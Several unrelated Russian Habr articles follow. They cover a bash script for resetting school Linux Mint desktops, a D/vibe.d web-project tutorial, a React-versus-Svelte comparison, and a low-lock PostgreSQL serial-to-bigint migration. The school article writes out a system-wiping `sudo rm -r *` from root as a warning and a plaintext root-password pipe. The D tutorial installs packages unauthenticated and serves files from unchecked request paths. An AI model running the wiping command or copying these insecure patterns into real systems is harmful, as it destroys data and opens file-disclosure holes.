С самого начала оговорюсь: переход на Linux и пакет СПО — не совсем безболезненная штука, да и не все ПО в конце перехода остается свободным. Но об этом позже.
Итак, начнем.
Возможно, многие уже знают, что в школах заканчивается срок действия лицензии на MS Windows. Точная дата — 1 января 2011. Где-то сверху было решено, что продлевать лицензии на ОС от Microsoft — слишком дорогое удовольствие, и гораздо проще перейти на пакет бесплатного ПО. Перевод компьютеров в школах на Linux начался задолго до 1 января и первой волной на школьные машины обрушился AltLinux 4, а потом и 5.1. Основными особенностями именно этого дистрибутива является его бесплатность (ну разумеется) и пакет предустановленных образовательных программ. Однако недостатков у AltLinux тоже предостаточно, но не будем о них, это тема совсем другого поста.
Второй Linux-волны пока не последовало, но еще не вечер.
В общем и целом, лично мне не хочется сидеть сложа руки и ждать, пока «оно» нахлынет и заполонит наши машины очередным недоброкачественным Alt-ом. Поэтому в учреждении, где я имею удовольствие работать, было принято решение перевести машины на Linux и СПО заблаговременно и выкинуть данный аспект из головы. Далее по порядку.
##### Требования к дистрибутиву
Были выдвинуты некоторые требования к тому дистрибутиву Linux, который заменит AltLinux и оставшиеся Windows. А именно:
— человечность, близость к пользователю, простота использования;
— возможность запустить ряд образовательных программ, в том числе и написанных для ОС Winodws;
— простота администрирования системы.
##### Чем не подошел AltLinux?
По первому пункту — пользователь, впервые усевшийся за Linux-машину теряется в KDE прочно и надолго. Рабочий стол вполне приемлем, но что такое корневая и домашняя папка? Почему все такое раздражающе блестючее и переливающееся? Почему белый текст на светло-голубых обоях? Не будем о холиварах, но это действительно неудобно.
По второму пункту никаких претензий, ведь это главная задача дистрибутива.
По третьему — все просто чудовищно. Чтобы заблокировать все рюшечки и панелечки в кедах придется просидеть неделю-другую, периодически тестирую полученные результаты на детях. Кроме того, адекватно заблокировать виджет «Просмотр папки» так и не удалось. Возможно руки кривые, конечно, кто знает.
Ну и в общем и целом — не нравится. Все, точка.
##### На что меняем?
Тут у нас встает вопрос о выборе дистрибутива. Далеко ходить не пришлось, как будто специально под наши нужды совсем недавно был выпущен [Linux Mint 9 Росинка](http://rosix.ru). К сожалению, на данный момент домен заблокирован RuЦентром. Почему мы выбрали Росинку?
Изначально планировалось остановиться на Ubuntu и самостоятельно установить на нее все необходимое ПО и оптимизировать ее под нужды учеников. Но, как оказалось, Росинка — та же Ubuntu, только кое-что уже стоит, да и работать с ней чуть приятнее. Единственное, что могло напрячь — цена в 350 рублей за лицензию на неограниченное количество компьютеров. Но тут все, как вы понимаете, в пределах разумного.
Итак, лицензия куплена, дистрибутив записан на диск, начнем. **Дальше — самое интересное...**
##### Что же мы сделали?
Во-первых, установили все необходимое ПО, среди которого:
Pascal ABS — виртуализация с помощью Wine
Компас 3D LT 5.10 (лицензия в школе уже имеется) — виртуализация с помощью Wine
KTurtle
Gambas
QBasic — виртуализация с помощью DosBox
КуМир — предустановлено
OpenOffice.org — предустановлено
Во-вторых, создали необходимых пользователей ОС — Ученик и Администратор — и оптимизировали вход в ОС. Пароли от Ученика и Администратора не известны обычным пользователям, это важно.
После того как ученик включает компьютер, на 1 секунду возникает grub (вынужденная задержка для возможных восстановительных работ), далее загружается Росинка. Окно выбора пользователя с автоматическим входом висит еще 2 секунды (опять же, для возможных восстановительных и административных работ), после чего пользователь входит без пароля в систему под аккаунтом Ученик. Пользователя (ученика) ожидает рабочий стол с обоями, выбранными преподавателем, необходимыми ярлыками на рабочем столе и одной панелью внизу с апплетами главного меню, сворачивания всех окон и области уведомлений. Забегая вперед: что бы ни изменил ученик — после перезагрузки компьютера его будет ожидать точно такой же рабочий стол.
Это взгляд со стороны ученика, теперь давайте посмотри на все это безобразие со стороны администратора…
Дети — явление опасное. Особенно если им в руки попадает что-то новое, например дистрибутив невиданной доселе Росинки. Все-то им хочется потрогать, пощупать, поизменять, поудалять. Опасные зоны, как показало тестирование — обои рабочего стола, темы оформления, панели, значки рабочего стола, анимации окон. Все возможные изменения были приняты во внимание и был написан некий скрипт, который возвращает панели в рабочее состояние, восстанавливает нужные обои, темы, занчки рабочего стола.
Чтобы меньше мороки было с домашней папкой — выполняем следующие действия (от имени Администратора):
`$ cd /home/uchenik
$ rm -r *`
После этого заходим Учеником в домашнюю папку — там пусто. Пока не нажмешь Ctrl+H, конечно (скрытые файлы, эх). То есть мест, где можно нагадить становится все меньше. Теперь, кстати говоря, рабочий стол становится домашней папкой, поэтому закрыть доступ к скрытым файлам домашней папки совсем просто — просто убрать ее с рабочего стола. Как? Для этого в системе уже есть Ubuntu Tweak, который позволит нам отключить на рабочем столе отображение каких-либо системных ярлыков (Компьютер, Домашняя папка). Все! Теперь система в безопасности. Но ее адекватная работоспособность еще нет. Ноутбуки в классе не самые новые, кхм, и железо там то еще. Поэтому, если создать пару десятков панелей и забить их до отказа апплетами слежения за памятью компьютера и еще чем-нибудь подобным, ОС повиснет накрепко. А еще у наших местных учеников есть классная отговорка — «у меня такого-то ярлычка на рабочем столе нет, задание сделать не могу». Тут нам на помощь приходит bash.
Итак, представляю вашему вниманию…
##### Волшебный скрипт
#!/bin/bash
notify-send «Подождите, пока не исчезнет эта подсказка» «Выполняется очистка и настройка рабочего стола...»
#echo «Очищаю рабочий стол...»
#cd /home/uchenik/Рабочий\*
#rm -r \*
echo «Очищаю домашнюю папку...»
cd /home/uchenik
rm -r \*
echo «Настраиваю обои рабочего стола...»
# Обои рабочего стола: wall.jpg (/usr/share/backgrounds)
gconftool-2 --type string --set /desktop/gnome/background/picture\_filename "/usr/share/backgrounds/wall.jpg"
echo «Настраиваю темы...»
# Темы GTK2, Metacity, Icons: Mint-X
gconftool-2 --type string --set /desktop/gnome/interface/gtk\_theme «Mint-X»
gconftool-2 --type string --set /desktop/gnome/interface/icon\_theme «Mint-X»
gconftool-2 --type string --set /apps/metacity/general/theme «Mint-X»
# Настройка стандартных панелей
echo «Настраиваю панели...»
gconftool-2 --load "/.scripts/data/Gnome\_Panel.xml"
# Сброс настроек Compiz
echo «Сбрасываю настройки Compiz...»
gconftool-2 --recursive-unset /apps/compizcompiz --replace
compiz --replace
#echo «Настраиваю сеть...»
# Перезагрузка сетевого апплета
#killall nm-applet
nm-applet
echo «Настраиваю значки рабочего стола...»
# Копирование нужных ярлыков на рабочий стол пользователя
cd "/.scripts/data"
# Закомментируйте ненужные ярлыки (# перед строкой)
cp «alacarte-made-9.desktop» /home/uchenik
cp «Нету меню ПУСК?» /home/uchenik
cp «gambas2.desktop» /home/uchenik
cp «kturtle.desktop» /home/uchenik
cp «kumir-suse10x.desktop» /home/uchenik
cp «Millioner (другая копия).desktop» /home/uchenik
cp «Millioner (копия).desktop» /home/uchenik
cp «Pascal ABC.desktop» /home/uchenik
cp «QBasic.desktop» /home/uchenik
cp «Excel.desktop» /home/uchenik
cp «Word.desktop» /home/uchenik
cp «PowerPoint.desktop» /home/uchenik
cd /.scripts
cp «Очистить рабочий стол» /home/uchenik
#cd /home/uchenik
#mv \*.desktop «Рабочий стол»
echo «Завершаю работу...»
killall gnome-panel
notify-send «Все готово!» «Приятной работы»
echo «Готово!»
Итак, большинство пояснений в комментариях. Всякие-разэтакие echo добавлены для debug'а. Разве что: Excel, Word и PowerPoint — это так в Росинке зовутся, как вы уже догадались, небезызвестные приложения из пакета OpenOffice.org. Видимо, так детям понятнее и легче. И пару слов про nm-applet. При малом количестве ОЗУ, как показывают результаты использования двух совершенно разных машин, nm-applet иногда не запускается, а иногда запускается, но не работает. Однако решение, как вы видите есть, правда оно требует доработки.
Итак, зачем я написал этот топик? Почему я не продаю этот скрипт, который наверняка покажется весьма полезным многим образовательным учреждениям, а просто публикую его в сети? Все просто. Потому что скрипт еще сыроват. Тот же nm-applet убить без sudo не получится, а Ученик не входит в список sudoers. Конечно, мы можем сделать все через:
`$ echo 'password' | sudo -S whatever`
Но это означает, что мы показываем root'овый пароль всем, а вдруг найдется таки такой человек, который найдет нужную директорию и посмотрит на скрипт в gedit, к примеру? Ну и все, системе конец:
`$ cd /
$ sudo rm -r *`
Кроме того, скрипт находится в автозагрузке, а снять галочку оттуда или посмотреть, куда ведет ссылка может любой желающий, не владеющий паролем Ученика. Да и вернуть домашнюю папку через Ubuntu Tweak можно — программа не трубет ввода пароля.
Я фактически безвозмездно делюсь собственными наработками и найденными в сети материалами, чтобы кому-то стало легче администрировать школьный Linux. Взамен же я прошу от вас, уважаемые жители Хабра, вот чего:
Укажите мне, пожалуйста, на возможные ошибки, подводные камни и т.п., а так же помогите с усовершенствованием ОС. Нужно все-таки полностью ограничить доступ учеников к системным файлам и настройкам. С меня — периодическое тестирование и свободное распространение этих наработок.
Спасибо за внимание, надеюсь, что хоть чем-то помог вам! | https://habr.com/ru/post/108588/ | null | ru | null |
# Свой Web проект на D под ОС Ubuntu
Этот материал родился благодаря статье [Простой сайт на D](http://habrahabr.ru/post/181548/) автора [danial72](http://habrahabr.ru/users/danial72/). Только там был разобран момент под **ОС Windows**. В моей же статье, будет пошагово рассмотрен процесс подготовки рабочего окружения для создания собственного Web-проекта на языке программирования [D](http://dlang.org) на примере **ОС Ubuntu 13.04**.
Речь идет о том, если у вас сложный и ресурсоемкий проект, а мысли о том, что десятки тысяч строк php-кода будут парситься каждый раз при вызове страницы, а там и классы с наследованием, и шаблонизаторы какие-нибудь, да еще и активных пользователей будет тысячи, вызывают у вас панику и ужас, то и есть смысл подумать о рациональном и оптимальном решении для реализации такой разработки. Напротив, если вы никогда об этом и не задумывались, то вероятнее всего у вас не абы какой мощный Сервер.
Марк Цукерберг и его команда, в свое время решили эту проблему, разработав [HipHop](http://habrahabr.ru/search/?q=HipHop), который конвертировал PHP-скрипт в C++ и тот в свою очередь собирался в скомпилированный сервер, заточенным под этот проект. Мы же с вами, сделаем нечто похожее, только будем сразу все писать на компилируемом языке, чтоб избежать лишних трансляций кода и избежать возможных багов при этом процессе. Тем более, язык D настолько удобен, что можно с легкостью его использовать для решения своих задач.
Следующие шаги, покажут как развернуть все это дело:
1. Посещаем страницу [DLang.org](http://dlang.org/download.html) и скачиваем дистрибутив для вашей системы.
2. Далее необходимо установить [DUB менеджер](https://github.com/rejectedsoftware/dub/). С его помощью мы будем развертывать, компилировать и запускать наш проект. Нужно добавить репозиторий, ключ и обновить зависимости
```
$ sudo wget http://netcologne.dl.sourceforge.net/project/d-apt/files/d-apt.list -O /etc/apt/sources.list.d/d-apt.list
$ sudo apt-get update && sudo apt-get -y --allow-unauthenticated install --reinstall d-apt-keyring && sudo apt-get update
```
После этого
```
$ sudo apt-get install dub
```
3. По завершению установки, создаем папку **projects**, в которой будет создаваться наш проект.
```
$ cd /home/<имя пользователя>/projects
$ dub init <имя проекта>
```
Эта операция, создаст в папке вашего проекта следующую структуру файлов
```
public/
source/
app.d
views/
package.json
```
4. Нас интересует файлик **package.json**. Открываем его и добавляем, следующий текст:
```
"dependencies": {
"vibe-d": ">=0.7.16"
}
```
Теперь, во время компиляции, **DUB** автоматически скачает последний пакет **vibe.d**
5. Далее, любым редактором открываем файл **app.d**. Я б советовал использовать IDE, но к сожалению, полноценной IDE аля MS Visual Studio 2008 или Borland Delphi для языка D под Ubuntu я так и не нашел, а то что есть можно использовать только частично или с костылями. Свой выбор, я пока остановил на **Geany**.
В файле в самом начале пишем…
```
#!/usr/bin/rdmd
```
эта команда указывает на то, что файл будет скомпилирован автоматически в момент выполнения, с помощью утилиты **RDMD** из пакета **DMD**.
Сам файл делаем исполняемым
```
chmod 775
```
Кроме этого, заданный пример в файле, сгенерированный автоматически, можно удалить и вставить этот код
```
import vibe.d;
import std.file;
void image(HTTPServerRequest req, HTTPServerResponse res)
{
auto file = format("./public/images/%s", req.params["f"]);
if(exists(file))
{
auto image = cast(ubyte[]) read(file);
res.writeBody(image,"image");
}
else
{
res.writeBody("Not Found","text/plain");
}
}
void css(HTTPServerRequest req, HTTPServerResponse res) {
auto css = readText(format("./public/css/%s", req.params["f"]));
res.writeBody(css,"text/css");
}
void index_req(HTTPServerRequest req, HTTPServerResponse res)
{
auto request = req.params["r"];
res.renderCompat!("index.dt", HTTPServerRequest, "req",string,"title")(req,request);
}
void index(HTTPServerRequest req, HTTPServerResponse res)
{
res.renderCompat!("index.dt", HTTPServerRequest, "req")(req);
}
shared static this()
{
auto router = new URLRouter;
router.get("/:r",&index_req);
router.get("/", &index);
router.get("/css/:f",&css);
router.get("/images/:f",ℑ);
auto settings = new HTTPServerSettings;
settings.port = 8080;
listenHTTP(settings, router);
}
```
Стили и картинки, как вы наверное успели заметить на данном примере, должны хранится в папках **public/css/** и **public/images/** соответственно.
В папку **views** необходимо добавить два файла:
**layout.dt**
```
!!! 5
html
head
title Example page
body
block body
```
и **index.dt**
```
extends layout
block body
h1 Example page - Home
p Hello, World!
```
Это шаблонизатор. Как конвертировать ваши страницы, описано [здесь](http://naltatis.github.io/jade-syntax-docs/), а автоматический конвертер, есть [здесь](http://html2jade.aaron-powell.com/).
Сохраняем все наши файлы.
6. Переходим в папку нашего проекта и в командной строке запускаем **DUB**
```
$ cd /home/<имя пользователя/projects/<имя проекта>
$ dub
```
Если все без ошибок, на экране должен появиться следующий текст:
```
Checking dependencies in '/home/<имя пользователя>/Projects/<имя проекта>'
Building configuration "application", build type debug
Running dmd (compile)...
Compiling diet template 'index.dt' (compat)...
Compiling diet template 'index.dt' (compat)...
Linking...
Running /tmp/dub/1994091216/<имя проекта>...
Listening for HTTP requests on :::8080
Failed to listen on 0.0.0.0:8080
```
Последняя строка, вроде как бы и соответствует ошибке, но на самом деле это попытка прослушать IPv6, который у меня не активен. Используется только IPv4.
В окне браузера вбиваем 127.0.0.1:8080
Вуаля… наш сайт.
После любых изменений, достаточно прервать работу **DUB** в терминале и запустить его снова. Все файлы, автоматически перекомпилируются. | https://habr.com/ru/post/185878/ | null | ru | null |
# Пришло ли время забыть о React и перейти на Svelte?
Каждый год выходит исследование [State of JavaScript](https://2019.stateofjs.com/), которое обобщает результаты опроса, изучающего текущее состояние экосистемы JavaScript. Это исследование затрагивает фронтенд-фреймворки, серверную и мобильную разработку, тестирование, популярные ресурсы для разработчиков и многое другое.
В нём всё, конечно, крутится вокруг JavaScript. Поэтому если вы используете для веб-разработки JS — я очень рекомендую взглянуть на State of JavaScript в том случае, если вы ещё этого не сделали.
Для меня одним из самых интересных результатов State of JavaScript стало неожиданное внимание тех, кто участвовал в опросе, к фронтенд-фреймворку [Svelte](https://svelte.dev/).
В общем рейтинге ведущих фронтенд-инструментов (основанном на показателях осведомлённости о фреймворке, интереса к нему и удовлетворённости им) Svelte появился на второй позиции. Он идёт там сразу после [React](https://reactjs.org/), опережая такие хорошо известные инструменты, как [Vue.js](https://vuejs.org/), [Preact](https://preactjs.com/), [Angular](https://angular.io/) и [Ember](https://emberjs.com/).
Меня это слегка шокировало, так как Svelte — это сравнительно новый инструмент — как в плане возраста, так и в плане парадигмы разработки программного обеспечения.
[](https://habr.com/ru/company/ruvds/blog/488660/)
*Рейтинг фронтенд-фреймворков по результатам исследования State of JavaScript*
Знаю, что многие из вас могут тут возмутиться и сказать, что React и Svelte — это, всё же, не фреймворки, а библиотеки. Я это знаю, но отчёт по исследованию писал не я, поэтому давайте на этом вопрос о терминологии закроем.
Я разобрался с примером шаблонного проекта Svelte и создал небольшое Hello World-приложение.
*Слева — простейший React-проект. Справа — аналогичный проект, основанный на Svelte*
Хотя этот простой проект и несложно было довести до рабочего состояния, тому, кто раньше писал на React, понадобится какое-то время для того, чтобы освоить Svelte.
Стоит ли тратить время на освоение Svelte? Может быть, перед нами лишь очередная модная штучка, которая исчезнет так же быстро, как появилась? Предлагаю это выяснить.
Цель исследования
-----------------
Мне хочется ответить на следующий вопрос: «Стоит ли мне прекратить тратить время на изучение React и начать разбираться со Svelte?».
Мы будем искать ответ на этот вопрос, исследуя фундаментальные различия между React и Svelte. Это позволит нам прийти к пониманию того, какими уникальными качествами обладает каждый из этих инструментов. В итоге же мы выясним то, в изучение какого из них стоит вкладывать время.
Начнём с обзора каждой из библиотек, затем поговорим об их плюсах и минусах, а потом сделаем выводы.
React
-----
В последние пару лет буквально все говорят о React. Эта библиотека, созданная Facebook, очень быстро захватила мир веб-разработки. Сейчас это — инструмент веб-разработки, занимающий первое место в мире (правда, ответ на вопрос о том, «номер один» он или нет, зависит от того, кому задают этот вопрос).
Библиотека React, во многом благодаря сообществу, сложившемуся вокруг неё, растёт в наши дни быстрее, чем когда бы то ни было. И пока не видно никаких признаков замедления этого роста.
Вот три особенности React, которые делают эту библиотеку особенно привлекательной:
1. Декларативная природа.
2. Структура приложений, основанная на компонентах.
3. Простота использования в плане интеграции в существующий стек технологий.
Декларативная природа React — это то, что позволяет создавать интерактивные пользовательские интерфейсы. Программисту достаточно просто спроектировать визуальные элементы приложения для каждого состояния, после чего React сделает всё остальное. Это упрощает чтение и понимание кода, облегчает отладку.
Как React «делает всё остальное»? Благодаря использованию технологии виртуальной DOM. Определение того, какие части DOM нужно обновить, проводится в недрах библиотеки, на промежуточном уровне, находящемся между кодом, написанным программистом, и реальной DOM. Именно благодаря этой технологии можно гарантировать высокие скорости рендеринга страниц.
Библиотека React спроектирована так, что то, какие именно технологии используются в стеке инструментов разработчика, значения не имеет. React-фронтенд можно «прикрутить» к чему угодно. Например — к бэкендам, основанным на [Node.js](https://nodejs.org/en/about/), [Ruby on Rails](https://rubyonrails.org/), [Spring Boot](https://spring.io/projects/spring-boot), [PHP](https://www.php.net/) и так далее. Эта библиотека совершенно нейтральна по отношению к тому, с чем именно ей придётся взаимодействовать.
Почему некоторые называют React «библиотекой», а некоторые — «фреймворком»? Для того чтобы создать некое приложение, вместе с React нужно пользоваться дополнительными библиотеками, применяемыми для управления состоянием приложения, для маршрутизации, для взаимодействия с различными API. Если создать шаблон React-проекта, воспользовавшись `create-react-app` — в нём не будет некоего набора инструментов, которого можно было бы ожидать от фреймворка.
Svelte
------
Svelte — это инструмент, который создан для того, чтобы изменить ситуацию, сложившуюся в сфере разработки фронтенда. [Вот](https://youtu.be/AdNJ3fydeao) хорошее видео по Svelte 3, в котором Рич Харрис, создатель Svelte, очень интересно и эмоционально рассказывает об этой библиотеке. Если вы это видео ещё не смотрели — рекомендую на него взглянуть.
В этом выступлении хорошо представлена история реактивного программирования, освещены изъяны, присущие традиционной реализации реактивных механизмов, представлено решение соответствующих проблем.
Многое из того, что можно отнести к сильным сторонам React, положено в основу Svelte. Рич Харрис очень хорошо осведомлён о плюсах и минусах внутреннего устройства React.
React занимается поддержкой интерфейса в актуальном состоянии и выполняет другие действия прямо в браузере. Svelte же делает своё дело во время сборки проекта. В этом и заключается основная разница между React и Svelte. Вот что об этом сказано в документации по Svelte: «Svelte конвертирует ваше приложение в идеальный JavaScript-код во время сборки проекта, а не интерпретирует код приложения во время его работы».
Svelte не использует техник наподобие сравнения реальной и виртуальной DOM.
Компилятор Svelte берёт декларативный компонент и превращает его в эффективный императивный низкоуровневый код, который напрямую взаимодействует с DOM.
Так как Svelte использует компилятор, а не виртуальную DOM, это позволяет снизить нагрузку на браузер, повысить скорость работы страниц, облегчить JS-движку браузера сборку мусора. Браузеру не приходится решать некоторые задачи во время выполнения кода страницы, что улучшает производительность проектов.
Правда, как и React, Svelte использует компоненты, написанные в декларативном стиле. Основная часть различий между React и Svelte начинается после того, как запускают сборку Svelte-проекта.
Сильные и слабые стороны React и Svelte
---------------------------------------
Поговорим о сильных и слабых сторонах исследуемых библиотек.
### ▍Сильные стороны React
* Серьёзная поддержка сообщества.
* Множество библиотек для тестирования кода, написанных в расчёте на React.
* Поддержка TypeScript.
* Качественные инструменты разработчика.
* Множество полезных компонентов, созданных силами сообщества.
* Большое количество вакансий для React-разработчиков.
### ▍Сильные стороны Svelte
* Отличная производительность, улучшающая впечатления пользователей от работы с сайтами, созданными на Svelte.
* В основе библиотеки лежат веб-стандарты (HTML, CSS, JS).
+ JSX не используется.
* Более компактный код.
+ Объём кода Svelte-приложения примерно на 40% меньше, чем объём кода аналогичного React-приложения.
* Во время компиляции производится оптимизация сборок (что приводит к очень маленькому размеру итогового кода).
* Библиотеку можно без проблем интегрировать в любой существующий проект.
### ▍Слабые стороны React
* Виртуальная DOM — сравнительно медленная технология.
* Дополнительная нагрузка на систему ухудшает производительность.
* Библиотека постоянно меняется.
* Документация не успевает обновляться из-за высокой скорости разработки новых возможностей React.
* JSX-конструкции могут быть сложными для понимания.
### ▍Слабые стороны Svelte
* Не очень большое (в сравнении с React) сообщество.
* Нет встроенной поддержки TypeScript.
* Ограниченное количество расширений для редакторов кода, средств подсветки синтаксиса, наборов компонентов, инструментов разработки.
* Небольшое количество вакансий, требующих знания Svelte (пока это так, но ситуация может измениться).
Итоги
-----
Вернёмся к нашему вопросу: «Стоит ли мне прекратить тратить время на изучение React и начать разбираться со Svelte?».
Честно говоря, я начинал работу над этой статьёй, ожидая, что приду к выводу о том, что Svelte — слишком молодая технология, и что пока не стоит особенно сильно вкладывать время в её изучение. Но после того, как я разобрался в происходящем, после того, как вник в основы, я оказался весьма заинтригован и впечатлён тем, что мне открылось, тем, какую динамику развития Svelte я ощутил.
Неоспоримо то, что Svelte-проекты отличаются очень хорошей производительностью.
Идеи, лежащие в основе Svelte, выглядят смелыми и прогрессивными. Растёт размер сообщества Svelte. Я уверен в том, что успешность фронтенд-инструментов (равно как и широта их распространения) сильно зависит от сообщества, и от того, как эти инструменты принимают разработчики.
В результате можно сказать, что если Svelte и всё, что связано с этой библиотекой, и дальше будет развиваться в том же темпе, можно будет ожидать повсеместного распространения этой технологии.
Конечно, Svelte только начинает свой путь, поэтому мы пока не знаем о тех проблемах, а их может быть немало, которые неизбежно проявятся в ходе внедрения Svelte в реальные проекты. Мы не знаем о том, как программисты будут обходить эти проблемы, о том, как разработчики библиотеки будут её улучшать.
Когда библиотека React только появилась, она выглядела современнейшим инструментом, у которого вообще нет никаких недостатков. Но, по мере развития и распространения React оказалось, что веб-разработчикам приходится справляться с различными непростыми ситуациями, им приходится искать обходные пути, компромиссы. Да и разработчикам самой библиотеки тоже приходится немало работать над её улучшением.
Уверен, то же самое ждёт и Svelte. Ведь мир веб-разработки чрезвычайно изменчив.
Если вы пока не готовы оставить React, я посоветовал бы вам, как минимум, внимательно наблюдать за Svelte. Эта библиотека может стать сильным конкурентом React гораздо быстрее, чем можно себе представить.
**Уважаемые читатели!** Что вы думаете о Svelte?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/488660/ | null | ru | null |
# DBA: когда почти закончился serial
*"Шеф, всё пропало, у нас* `serial` *на мегатаблице почти закончился!" -* а это значит, что либо вы его [неаккуратно накрутили](https://habr.com/ru/company/tensor/blog/507688/) сами, либо у вас действительно данных столько, что **разрядности** `integer`**-столбца уже не хватает** для вашей большой и активной таблицы в PostgreSQL-базе.
Да и столбец этот не простой, а целый `PRIMARY KEY`, на который еще и ряд других немаленьких таблиц по `FOREIGN KEY` завязан. А еще и приложение останавливать совсем не хочется, ибо клиентам 24x7 обещано...
В общем, надо как-то **с минимальными блокировками увеличить размер PK-поля** в большой таблице, на которое многое завязано.
Организуем небольшой тестовый полигон:
```
CREATE TABLE tblpk(
pk
serial
PRIMARY KEY
, valx
integer
);
INSERT INTO tblpk(valx)
SELECT generate_series(1, 1e6);
CREATE TABLE tblfk(
fk
integer
REFERENCES tblpk
, valy
integer
);
INSERT INTO tblfk(fk, valy)
SELECT (random() * (1e6 - 1))::integer + 1, generate_series(1, 1e6);
-- не забываем, что для FK нужно создавать индекс "вручную"
CREATE INDEX ON tblfk(fk);
```
Подготовительные работы
-----------------------
Первую часть работы можно сделать без наложения каких-либо блокировок вообще.
Добавляем новое поле:
```
ALTER TABLE tblpk ADD COLUMN _pk bigint;
ALTER TABLE tblfk ADD COLUMN _fk bigint;
```
#### Универсальный копирующий триггер
Чтобы для всех добавляемых и изменяемых записей состояние нового и старого полей у нас не разбегалось, повесим на таблицу копирующий триггер - на вставку новой записи или изменение отслеживаемого поля:`BEFORE INSERT OR UPDATE OF` .
Ровно такую же задачу нам придется решать и для таблицы `tblfk`, поэтому сразу напишем триггерную функцию, которую можно будет универсально применять на любой таблице, использовав немного SQL-магии:
```
CREATE OR REPLACE FUNCTION copy_fld() RETURNS trigger AS $$
DECLARE
fld_src text := quote_ident(TG_ARGV[0]); -- имя исходного поля
fld_dst text := quote_ident(TG_ARGV[1]); -- имя целевого поля
BEGIN
EXECUTE $q$ -- собираем тело запроса как текст
SELECT
(
json_populate_record( -- наполняем запись данными из JSON
$1 -- NEW
, json_build_object( -- {[fld_dst] : NEW[fld_src]}::json
'$q$ || fld_dst || $q$'
, $1.$q$ || fld_src || $q$::text
)
)
).* -- "разворачиваем" record по столбцам
$q$
USING NEW -- используем NEW в качестве $1-аргумента
INTO NEW; -- результат складываем обратно в NEW
RETURN NEW; -- не забываем вернуть NEW, иначе изменения не применятся
END $$ LANGUAGE plpgsql;
```
Теперь мы можем передать синхронизируемые поля как аргументы триггера - разные для каждой из таблиц:
```
CREATE TRIGGER copy BEFORE INSERT OR UPDATE OF pk
ON tblpk
FOR EACH ROW
EXECUTE PROCEDURE copy_fld('pk', '_pk'); -- откуда/куда
CREATE TRIGGER copy BEFORE INSERT OR UPDATE OF fk
ON tblfk
FOR EACH ROW
EXECUTE PROCEDURE copy_fld('fk', '_fk');
```
#### Массовое обновление записей
Самый простой вариант - обновить значение добавленного поля во всех уже существующих записях за один запрос:
```
UPDATE tblpk SET _pk = pk WHERE _pk IS NULL;
UPDATE tblfk SET _fk = fk WHERE _fk IS NULL;
```
Он же - самый проблемный, поскольку повлечет за собой **возникновение длительных блокировок** всех запросов, которые тоже захотят что-то изменить в этих записях.
Лучше всего воспользоваться **сегментным обновлением**, как это описано в статье ["PostgreSQL Antipatterns: обновляем большую таблицу под нагрузкой"](https://habr.com/ru/post/481610/). В результате единый `UPDATE` превратится в серию быстрых запросов, которые отлично садятся на индекс первичного ключа:
```
UPDATE
tblpk
SET
_pk = pk
WHERE
pk BETWEEN $1 AND $1 + 999 AND -- перебираем сегменты значений по 1K
_pk IS NULL;
```
#### Создаем новый индекс
В неблокирующем режиме создаем индекс, который будет выполнять роль нового первичного ключа:
```
CREATE UNIQUE INDEX CONCURRENTLY _pk ON tblpk(_pk); -- индекс под новый PK
CREATE INDEX CONCURRENTLY _fk ON tblfk(_fk); -- индекс под новый FK
```
В принципе, индексы можно было создать и раньше, но тогда все наши `UPDATE` писали бы еще и в него, поэтому работали бы существенно дольше.
Быстрая неблокирующая\* конвертация
-----------------------------------
Сначала поймем, как примерно должен выглядеть наш целевой результат в самом простом варианте:
* **снимаем все autovacuum/autoanalyze**, которые блокируют наши таблицы
Эти процессы запустятся с очень большой вероятностью практически сразу, поскольку мы `UPDATE`'нули все записи в каждой из таблиц. Если мы не снимем их и накладываемые ими блокировки, все наши `ALTER TABLE` будут ждать получения блокировки сами (`Access Exclusive`), а за ними будет копиться очередь всех остальных запросов, даже `SELECT` (`Access Share`) по этим таблицам.
* **блокируем таблицы** в монопольном режиме
Если этого не сделать, какой-нибудь настырный `SELECT` из параллельного подключения вполне может вклиниться между нашими `ALTER TABLE`, что опять-таки приведет к длительным блокировкам.
Пытаемся наложить блокировку в `NOWAIT`-режиме, чтобы при наличии активного `SELECT`-запроса (их-то мы не снимали) по любой из таблиц не висеть и ждать его, создавая за собой очередь, а отвалиться сразу.
* **модифицируем последовательность**: привязываем ее к новому столбцу (`OWNED BY`) и снимаем ограничение на максимальное значение (`NO MAXVALUE`)
* модифицируем основную таблицу:
+ **удаляем старый столбец** каскадно, что заодно удалит и ненужный нам более copy-триггер, старый первичный ключ вместе с индексом и все смотрящие на него внешние ключи
+ **переименовываем новый столбец** в старый
+ **назначаем DEFAULT** для нового столбца именно здесь, поскольку назначение раньше могло бы привести к двойному выполнению выражения
+ **создаем новый первичный ключ** с использованием заранее подготовленного уникального индекса, что заодно этот индекс и переименует
* аналогично модифицируем связанную таблицу в чуть другом порядке:
+ удаляем и переименовываем столбцы
+ **восстанавливаем внешний ключ** в `NOT VALID`-режиме без фактической проверки уже содержащихся в таблице данных
+ **восстанавливаем имя индекса** под внешним ключом
```
BEGIN;
-- снимаем все процессы autovacuum/autoanalyze по нашим таблицам
SELECT
pg_terminate_backend(pid)
FROM
pg_stat_activity sa
WHERE
CASE
WHEN backend_type = 'autovacuum worker' THEN
EXISTS(
SELECT
NULL
FROM
pg_locks
WHERE
locktype = 'relation' AND
relation = ANY(ARRAY['tblpk', 'tblfk']::regclass[])
)
END;
-- сразу блокируем все таблицы, чтобы никто не влез
LOCK TABLE tblpk, tblfk IN ACCESS EXCLUSIVE MODE NOWAIT;
-- sequence
ALTER SEQUENCE tblpk_pk_seq OWNED BY tblpk._pk;
ALTER SEQUENCE tblpk_pk_seq NO MAXVALUE;
-- tblpk
ALTER TABLE tblpk
DROP COLUMN pk CASCADE; -- сносит заодно copy-триггер, PK и все FK
ALTER TABLE tblpk
RENAME COLUMN _pk TO pk;
ALTER TABLE tblpk
ALTER COLUMN pk SET DEFAULT nextval('tblpk_pk_seq');
ALTER TABLE tblpk
ADD CONSTRAINT tblpk_pkey PRIMARY KEY USING INDEX _pk;
-- tblfk
ALTER TABLE tblfk
DROP COLUMN fk CASCADE;
ALTER TABLE tblfk
RENAME COLUMN _fk TO fk;
ALTER TABLE tblfk
ADD CONSTRAINT tblfk_fk_fkey
FOREIGN KEY(fk)
REFERENCES tblpk
NOT VALID; -- без проверки ограничения по существующим данным
ALTER INDEX _fk RENAME TO tblfk_fk_fkey;
COMMIT;
```
Все эти действия происходят единым куском под общей блокировкой, поэтому, **благодаря транзакционности DDL в PostgreSQL**, либо успешно выполнятся целиком, либо целиком же - нет. Однако, за счет того, что тут нет ни одной длительной операции, весь скрипт должен отработать за минимальное время.
